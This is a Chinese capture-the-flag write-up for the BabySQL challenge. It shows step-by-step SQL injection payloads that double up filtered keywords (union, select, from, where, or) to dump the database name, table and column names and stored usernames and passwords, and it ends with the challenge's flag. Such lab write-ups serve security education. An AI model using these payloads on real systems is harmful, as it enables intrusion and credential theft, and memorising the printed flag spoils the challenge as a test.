[极客大挑战 2019]BabySQL

[极客大挑战 2019]BabySQL


测试单引号

存在注入
开始按步骤操作,先猜有多少个字段

order by变成了der,说明是直接删掉了,可以双写绕过
Payload:?username=1 &password=2' oorrder bbyy 3%23

还是三个,开始查询数据库,先看一下union和select 有没有被删除,在union和select 前后加了字符

说明被删除了,依然双写绕过
Payload:?username=1 &password=2' uniunionon seselectlect null,null,database()%23

继续查表,要注意需要双写的字符

发现from,where也被删除
payload:?username=1 &password=2' ununionion seselectlect null,null,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema='geek')%23

继续查询列
Payload:?username=1 &password=2' uniounionn selselectect null,null,( seselectlect group_concat( column_name ) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')%23

查询数据
Payload:?username=1 &password=2' uniounionn seleselectct null,null,group_concat(id,0x3a,username,0x3a,passwoorrd) frofromm geek.b4bsql%23

得到flag
flag{950bfb49-92c6-4b78-b525-9622b09f156f}

原文地址:https://www.cnblogs.com/yunqian2017/p/13300906.html